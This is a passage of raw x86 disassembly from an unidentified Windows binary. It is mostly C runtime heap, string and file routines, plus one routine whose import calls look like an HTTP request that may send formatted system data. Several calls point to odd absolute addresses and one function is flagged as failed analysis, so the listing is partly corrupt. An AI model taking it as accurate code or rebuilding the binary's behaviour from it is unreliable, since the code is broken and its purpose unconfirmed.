		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A038
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A19C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A194
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A190


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A18C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A148
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A27C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A260
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A224
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A208
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1DC
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1AC


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2790000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2840000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		call	near ptr 27A0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2840000h
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2840000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



